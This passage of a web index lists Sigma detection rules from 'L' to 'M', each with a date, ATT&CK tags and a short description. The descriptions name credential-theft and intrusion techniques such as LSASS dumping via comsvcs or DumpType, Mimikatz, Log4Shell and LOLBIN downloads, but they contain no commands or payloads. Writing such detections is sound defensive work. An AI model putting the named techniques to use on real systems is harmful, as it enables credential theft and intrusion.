Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Local Network Connection Initiated By Script Interpreter

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.

Local Privilege Escalation Indicator TabTip

Aug 12, 2024 · attack.execution attack.t1557.001 ·

Share on:

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode

Local System Accounts Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1087.001 ·

Share on:

Detects enumeration of local systeam accounts on MacOS

Local User Creation

Aug 12, 2024 · attack.persistence attack.t1136.001 ·

Share on:

Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.

Locked Workstation

Aug 12, 2024 · attack.impact ·

Share on:

Detects locked workstation session events that occur automatically after a standard period of inactivity.

LockerGoga Ransomware Activity

Aug 12, 2024 · attack.impact attack.t1486 detection.emerging-threats ·

Share on:

Detects LockerGoga ransomware activity via specific command line.

Log4j RCE CVE-2021-44228 Generic

Aug 12, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·

Share on:

Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)

Log4j RCE CVE-2021-44228 in Fields

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-44228 detection.emerging-threats ·

Share on:

Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)

Logged-On User Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·

Share on:

Detects password change for the logged-on user's via "ksetup.exe"

Logging Configuration Changes on Linux Host

Aug 12, 2024 · attack.defense-evasion attack.t1562.006 ·

Share on:

Detect changes of syslog daemons configuration files

Login to Disabled Account

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·

Share on:

Detect failed attempts to sign in to disabled accounts.

Logon from a Risky IP Address

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.

LOL-Binary Copied From System Directory

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·

Share on:

Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.

LOLBAS Data Exfiltration by DataSvcUtil.exe

Aug 12, 2024 · attack.exfiltration attack.t1567 ·

Share on:

Detects when a user performs data exfiltration by using DataSvcUtil.exe

Lolbas OneDriveStandaloneUpdater.exe Proxy Download

Aug 12, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json

LOLBIN Execution From Abnormal Drive

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.

Lolbin Runexehelper Use As Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs

Lolbin Unregmp2.exe Use As Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"

LSA PPL Protection Disabled Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.010 ·

Share on:

Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process

LSASS Access Detected via Attack Surface Reduction

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects Access to LSASS Process

LSASS Access From Non System Account

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects potential mimikatz-like tools accessing LSASS from non system account

LSASS Access From Potentially White-Listed Processes

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference

LSASS Dump Keyword In CommandLine

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.

Lsass Full Dump Request Via DumpType Registry Settings

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.

LSASS Memory Access by Tool With Dump Keyword In Name

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects LSASS process access requests from a source process with the "dump" keyword in its image name.

Lsass Memory Dump via Comsvcs DLL

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

LSASS Process Dump Artefact In CrashDumps Folder

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.

MacOS Emond Launch Daemon

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.014 ·

Share on:

Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.

MacOS Network Service Scanning

Aug 12, 2024 · attack.discovery attack.t1046 ·

Share on:

Detects enumeration of local or remote network services.

Macos Remote System Discovery

Aug 12, 2024 · attack.discovery attack.t1018 ·

Share on:

Detects the enumeration of other remote systems.

MacOS Scripting Interpreter AppleScript

Aug 12, 2024 · attack.execution attack.t1059.002 ·

Share on:

Detects execution of AppleScript of the macOS scripting language AppleScript.

Macro Enabled In A Potentially Suspicious Document

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects registry changes to Office trust records where the path is located in a potentially suspicious location

Mailbox Export to Exchange Webserver

Aug 12, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it

Malicious Base64 Encoded PowerShell Keywords in Command Lines

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects base64 encoded strings used in hidden malicious PowerShell command lines

Malicious DLL File Dropped in the Teams or OneDrive Folder

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.002 ·

Share on:

Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded

Malicious IP Address Sign-In Failure Rate

Aug 12, 2024 · attack.t1090 attack.command-and-control ·

Share on:

Indicates sign-in from a malicious IP address based on high failure rates.

Malicious IP Address Sign-In Suspicious

Aug 12, 2024 · attack.t1090 attack.command-and-control ·

Share on:

Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.

Malicious Named Pipe Created

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the creation of a named pipe seen used by known APTs or malware.

Malicious Nishang PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects Commandlet names and arguments from the Nishang exploitation framework

Malicious PE Execution by Microsoft Visual Studio Debugger

Aug 12, 2024 · attack.t1218 attack.defense-evasion ·

Share on:

There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.

Malicious PowerShell Commandlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·

Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Malicious PowerShell Keywords

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects keywords from well-known PowerShell exploitation frameworks

Malicious ShellIntel PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects Commandlet names from ShellIntel exploitation scripts.

Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1078 attack.t1078.002 ·

Share on:

Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.

Malicious Windows Script Components File Execution by TAEF Detection

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe

Malware Shellcode in Verclsid Target Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 detection.emerging-threats ·

Share on:

Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro

Malware User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects suspicious user agent strings used by malware in proxy logs

Manipulation of User Computer or Group Security Principals Across AD

Aug 12, 2024 · attack.persistence attack.t1136.002 ·

Share on:

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..

Masquerading as Linux Crond Process

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·

Share on:

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

Mavinject Inject DLL Into Running Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.001 attack.t1218.013 ·

Share on:

Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag

Measurable Increase Of Successful Authentications

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·

Share on:

Detects when successful sign-ins increased by 10% or greater.

MERCURY APT Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0069 detection.emerging-threats ·

Share on:

Detects suspicious command line patterns seen being used by MERCURY APT

Mesh Agent Service Installation

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers

Metasploit Or Impacket Service Installation Via SMB PsExec

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·

Share on:

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

Metasploit SMB Authentication

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

Alerts on Metasploit host's authentications on the domain.

Meterpreter or Cobalt Strike Getsystem Service Installation - Security

Aug 12, 2024 · attack.privilege-escalation attack.t1134.001 attack.t1134.002 ·

Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

Meterpreter or Cobalt Strike Getsystem Service Installation - System

Aug 12, 2024 · attack.privilege-escalation attack.t1134.001 attack.t1134.002 ·

Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

Microsoft 365 - Impossible Travel Activity

Aug 12, 2024 · attack.initial-access attack.t1078 ·

Share on:

Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.

Microsoft 365 - Potential Ransomware Activity

Aug 12, 2024 · attack.impact attack.t1486 ·

Share on:

Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.

Microsoft 365 - Unusual Volume of File Deletion

Aug 12, 2024 · attack.impact attack.t1485 ·

Share on:

Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.

Microsoft 365 - User Restricted from Sending Email

Aug 12, 2024 · attack.initial-access attack.t1199 ·

Share on:

Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.

Microsoft Defender Blocked from Loading Unsigned DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL

Microsoft Defender Tamper Protection Trigger

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring"

Microsoft Excel Add-In Loaded From Uncommon Location

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location

Microsoft IIS Connection Strings Decryption

Aug 12, 2024 · attack.credential-access attack.t1003 ·

Share on:

Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.

Microsoft IIS Service Account Password Dumped

Aug 12, 2024 · attack.credential-access attack.t1003 ·

Share on:

Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords

Microsoft Malware Protection Engine Crash

Aug 12, 2024 · attack.defense-evasion attack.t1211 attack.t1562.001 ·

Share on:

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

Microsoft Malware Protection Engine Crash - WER

Aug 12, 2024 · attack.defense-evasion attack.t1211 attack.t1562.001 ·

Share on:

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

Microsoft Office DLL Sideload

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location

Microsoft Office Protected View Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.

Microsoft Sync Center Suspicious Network Connections

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·

Share on:

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

Microsoft Teams Sensitive File Access By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.

Microsoft VBA For Outlook Addin Loaded Via Outlook

Aug 12, 2024 · attack.execution attack.t1204.002 ·

Share on:

Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process

Mimikatz DC Sync

Aug 12, 2024 · attack.credential-access attack.s0002 attack.t1003.006 ·

Share on:

Detects Mimikatz DC sync security events

Mimikatz Use

Aug 12, 2024 · attack.s0002 attack.lateral-movement attack.credential-access car.2013-07-001 car.2019-04-004 attack.t1003.002 attack.t1003.004 attack.t1003.001 attack.t1003.006 ·

Share on:

This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)

Mint Sandstorm - AsperaFaspex Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm

Mint Sandstorm - Log4J Wstomcat Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity

Mint Sandstorm - ManageEngine Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm

MITRE BZAR Indicators for Execution

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053.002 attack.t1569.002 ·

Share on:

Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE

MITRE BZAR Indicators for Persistence

Aug 12, 2024 · attack.persistence attack.t1547.004 ·

Share on:

Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.

MMC Spawning Windows Shell

Aug 12, 2024 · attack.lateral-movement attack.t1021.003 ·

Share on:

Detects a Windows command line executable started from MMC

MMC20 Lateral Movement

Aug 12, 2024 · attack.execution attack.t1021.003 ·

Share on:

Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe

Modification of IE Registry Settings

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence

Modification of ld.so.preload

Aug 12, 2024 · attack.defense-evasion attack.t1574.006 ·

Share on:

Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

Modify Group Policy Settings

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484.001 ·

Share on:

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

Modify Group Policy Settings - ScriptBlockLogging

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484.001 ·

Share on:

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

Modify System Firewall

Aug 12, 2024 · attack.t1562.004 attack.defense-evasion ·

Share on:

Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.

Modify User Shell Folders Startup Value

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1547.001 ·

Share on:

Detect modification of the startup key to a path where a payload could be stored to be launched during startup

Modifying Crontab

Aug 12, 2024 · attack.persistence attack.t1053.003 ·

Share on:

Detects suspicious modification of crontab file.

Monitoring For Persistence Via BITS

Aug 12, 2024 · attack.defense-evasion attack.t1197 ·

Share on:

BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.

Moriya Rootkit - System

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·

Share on:

Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report

Moriya Rootkit File Created

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 detection.emerging-threats ·

Share on:

Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.

Mount Execution With Hidepid Parameter

Aug 12, 2024 · attack.credential-access attack.t1564 ·

Share on:

Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

MSExchange Transport Agent Installation

Aug 12, 2024 · attack.persistence attack.t1505.002 ·

Share on:

Detects the Installation of a Exchange Transport Agent

MSExchange Transport Agent Installation - Builtin

Aug 12, 2024 · attack.persistence attack.t1505.002 ·

Share on:

Detects the Installation of a Exchange Transport Agent

MSHTA Suspicious Execution 01

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1218.005 attack.execution attack.t1059.007 cve.2020-1599 ·

Share on:

Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism

Mshtml.DLL RunHTMLApplication Suspicious Usage

Aug 12, 2024 · attack.defense-evasion attack.execution ·

Share on:

Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)

MSI Installation From Suspicious Locations

Aug 12, 2024 · attack.execution ·

Share on:

Detects MSI package installation from suspicious locations

MSI Installation From Web

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1218.007 ·

Share on:

Detects installation of a remote msi file from web.

MsiExec Web Install

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 attack.command-and-control attack.t1105 ·

Share on:

Detects suspicious msiexec process starts with web addresses as parameter

MSMQ Corrupted Packet Encountered

Aug 12, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation

MSSQL Add Account To Sysadmin Role

Aug 12, 2024 · attack.persistence ·

Share on:

Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role

MSSQL Disable Audit Settings

Aug 12, 2024 · attack.defense-evasion ·

Share on:

Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server

MSSQL Extended Stored Procedure Backdoor Maggie

Aug 12, 2024 · attack.persistence attack.t1546 detection.emerging-threats ·

Share on:

This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server

MSSQL Server Failed Logon

Aug 12, 2024 · attack.credential-access attack.t1110 ·

Share on:

Detects failed logon attempts from clients to MSSQL server.

MSSQL Server Failed Logon From External Network

Aug 12, 2024 · attack.credential-access attack.t1110 ·

Share on:

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

MSSQL SPProcoption Set

Aug 12, 2024 · attack.persistence ·

Share on:

Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started

MSSQL XPCmdshell Option Change

Aug 12, 2024 · attack.execution ·

Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.

MSSQL XPCmdshell Suspicious Execution

Aug 12, 2024 · attack.execution ·

Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

Mstsc.EXE Execution From Uncommon Parent

Aug 12, 2024 · attack.lateral-movement ·

Share on:

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

Mstsc.EXE Execution With Local RDP File

Aug 12, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects potential RDP connection via Mstsc using a local ".rdp" file

Msxsl.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1220 ·

Share on:

Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.

Multifactor Authentication Denied

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 attack.t1621 ·

Share on:

User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.

Multifactor Authentication Interrupted

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 attack.t1621 ·

Share on:

Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.

Mustang Panda Dropper

Aug 12, 2024 · attack.t1587.001 attack.resource-development detection.emerging-threats ·